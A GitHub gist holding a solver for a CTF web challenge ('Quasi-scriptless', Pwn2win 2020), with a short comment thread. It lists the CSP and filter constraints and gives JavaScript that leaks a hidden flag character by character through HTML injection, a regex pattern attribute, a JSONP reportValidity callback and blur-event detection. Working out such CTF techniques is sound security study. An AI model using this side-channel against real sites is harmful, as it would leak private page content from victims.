Skip to content

Instantly share code, notes, and snippets.

Last active June 13, 2020 19:30
Show Gist options
  • Save terjanq/cd146e97fac07db1c15e6037af7644e0 to your computer and use it in GitHub Desktop.
Save terjanq/cd146e97fac07db1c15e6037af7644e0 to your computer and use it in GitHub Desktop.
Solution to Scriptless challenge from Pwn2win 2020 CTF
Quasi-scriptless (3 solves)
1. The flag was in the body of the page in form of <strike>CTF-BR{flag}</strike> visible only to admin.
2. There was a simple HTML Injection endpoint that happened before the flag.
3. The goal was to retrieve that flag by sending a URL to the page to admin.
1. CSP: default-src 'none'; script-src 'self'; form-action 'none'; base-uri 'none'; sandbox allow-scripts;
2. Blocked characters in HTML Injection: /[:&%#]/
3. Allowed characters in JSONP: /^[a-z.]+$/
0. Meta redirect (<meta http-equiv="refresh" content="0;//">) to external page.
1. Markup dangling in <input id=x value='DANGLED DATA.
2. <input id=x pattern="something"> RegExp to retrieve data from value='.
3. Callback in JSONP to inject: <script src="/hire?callback=x.reportValidity">.
4. x.reportValidity checks if input matches pattern, if no, input will gain focus.
5. Detect onblur event.
const URL = `<script defer src="/hire?callback=x.reportValidity"><\/script><input id=x pattern='!</h1>\\t\\t<font size="5">\\t\\t\\tOur company has been researching defense-in-depth features<br>\\t\\t\\tsuch as the Content Security Policy and we believe to have<br>\\t\\t\\tfound the perfect configuration for its directives.<br><br>\\t\\t\\t<font color="firebrick">\\t\\t\\t\\t<b><strike>CTF-BR\\{PREFIX[^LETTER].*' value='`
let prefix = ''
let letter = ''
let alph = '0123456789abcdefghijklmnopqrstuvwxyz_'
async function test(prefix, letter){
return new Promise(r=>{
let x = document.createElement('iframe');
let win = x.contentWindow;
let doc = x.contentDocument;
win.onblur = () => r(1);
let i = doc.createElement('iframe');
i.src = URL.replace('PREFIX', prefix).replace('LETTER', letter)
i.onload = () => {
async function go(prefix){
for(let c of alph){
let r = await test(prefix, c);
if(r) {
prefix += c;
// CTF-BR{p4tt3rn5_plu5_f0cu5_3qu4l5_s1de_ch4nn3l}
Copy link

sambrow commented Jun 3, 2020

Thanks for the writeup! Please consider adding a link on ctftime so others can find it. I was unable to find this with google/github searching. Here's a link to the quasi-scriptless page on ctftime:

Copy link

terjanq commented Jun 4, 2020

You're welcome. It is not a writeup but a solver, therefore, I am not planning on adding it to ctftime. If you think this is how it should be done on ctftime, feel free to include that gist on the platform! 😄

Copy link

sambrow commented Jun 4, 2020

Thanks for explaining! I'm now understanding the difference between a solver and a writeup. :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment